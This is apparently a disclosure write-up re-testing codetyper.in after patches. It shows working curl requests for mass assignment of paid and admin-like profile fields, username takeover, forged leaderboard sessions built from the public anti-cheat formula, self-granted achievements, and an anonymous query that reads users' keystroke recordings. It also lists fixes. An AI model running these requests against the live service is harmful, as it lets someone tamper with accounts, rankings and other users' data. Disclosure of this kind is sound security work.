Still Broken: Re-assessing codetyper.in After Patches

# Context

In April 2026 I disclosed a set of critical vulnerabilities in codetyper.in. The vendor patched the admin IDOR. I came back in late May and late June to see what else stuck. The short version: the admin IDOR stayed fixed. Everything else didn't.

# Patch status

Round-1 findingPatched?Notes
Admin IDORYesRLS on admins scoped to auth.uid().
Private profile bypassYesprofile_public=false rows filtered from anon.
RLS on profilesNo96 full records still served to anon.
RLS on sessionsNo899 records. Now also leaks flag_reason, moderator_note.
RLS on ghost_recordingsNo827 keystroke recordings, still joinable to usernames + snippet content.
Early-access codePartially (logic fixed, same code)Moved server-side, same code still validates.

# Profiles mass assignment

The RLS UPDATE policy on profiles restricts which rows you can modify but not which columns. Any authenticated user can set whatever they want on their own row:

curl -X PATCH "$SUPA/rest/v1/profiles?id=eq.$MY_ID" \
  -H "apikey: $KEY" -H "Authorization: Bearer $TOKEN" \
  -d '{"is_plus":true,"is_bot":true,"longest_streak":999,
       "current_streak":365,"total_sessions":100}'
# HTTP 200 — all values applied

is_plus, is_bot, streaks, total_sessions, showcase_achievements, username — all directly settable. Free Plus, fake streaks, the username admin (nobody had claimed it).

# Username takeover

Same column-level gap. You can change your username to any unclaimed string — admin, support, moderator were all available. username_changed_at didn't update after the PATCH, so there's no cooldown either.

curl -X PATCH "$SUPA/rest/v1/profiles?id=eq.$MY_ID" \
  -H "apikey: $KEY" -H "Authorization: Bearer $TOKEN" \
  -d '{"username":"admin"}'
# HTTP 200 — "username":"admin"

# Session forgery

Any authenticated user can POST sessions with forged WPM, accuracy, and score. A server-side trigger checks for score mismatches and sets flagged_for_review: true, but the session is still inserted and total_sessions still increments. The anti-cheat formula is in the public bundle:

function QC(nckpm, accuracy, perfect) {
  return round(nckpm^0.65 * accuracy^1.5 * 17.8 * (perfect ? 1.05 : 1));
}

Compute a matching deft_score and the session passes unflagged:

POST /rest/v1/sessions
  {"nckpm":600, "accuracy":97.5, "deft_score":1096, "tier":"ELITE"}
  -->  HTTP 201 — not flagged

Twenty forged sessions later my test account hit #1 on the Python leaderboard with a rolling average of 1027.75 (previous #1 was 961).

#1 position on the codetyper.in Python leaderboard after submitting 20 forged sessions

# Self-grant achievements

user_achievements has no RLS on INSERT, and the achievements table is anon-readable, so every achievement ID is known. Grant yourself whatever:

POST /rest/v1/user_achievements
  {"user_id":"<self>","achievement_id":"speed_80"}
POST /rest/v1/user_achievements
  {"user_id":"<self>","achievement_id":"speed_100"}
--> HTTP 201 — both granted

I granted 11 including streak_365, speed_80, and speed_100. They show on the public profile via showcase_achievements.

# The result

Combined with the mass-assignment PATCH above, the forged profile looked like this:

Forged codetyper.in profile showing Plus badge, 999-day streak, ELITE tier, and all achievements

# Still anon-readable

curl "$SUPA/rest/v1/ghost_recordings?\
select=user_id,profiles(username),snippets(content),recording_json&limit=10" \
  -H "apikey: $KEY"

# Full chain

1. Register account (no email confirmation, no rate limit)
2. PATCH profiles → is_plus, is_bot, streak=999
3. POST user_achievements → speed_80, speed_100, anything
4. Compute matching score from the public formula
5. POST sessions × 20 → all pass anti-cheat
6. #1 on the Python leaderboard, Plus, ELITE, 999-day streak, all achievements

Three minutes of curl.

# What's blocked

The admin IDOR fix is solid. These all fail appropriately:

EndpointResult
INSERT into admins42501
SELECT from admins (other rows)[]
auth/v1/admin/*403 not_admin
INSERT into blog_posts, changelogs, roadmap_items42501
ghost_recordings with foreign user_id403
JWTsES256, not forgeable

# Fix

Postgres RLS is row-level only. Column-level write protection needs either a BEFORE UPDATE trigger that rejects changes to protected columns (is_plus, is_bot, streaks, username) by non-service-role JWTs, or a SECURITY DEFINER RPC that only accepts user-editable fields. is_plus should only be writable by the billing webhook. The anti-cheat should hard-reject mismatches instead of soft-flagging, and ghost_recordings needs RLS.


# Timeline

DateBreakthrough
Round 1: check first post for more info :)
Round 1 reported to vendor
Vendor confirms patches
Round 1 write-up published
Round 2: re-test. Most findings still open.
Round 3: live demo, #1 on the leaderboard.
Write-up published.

# TL:DR


All testing performed with authorization. Only throwaway accounts were modified; changes were reverted promptly after disclosure. No other user data was touched. Content disclosure: The development of this specific page was aided with AI tools.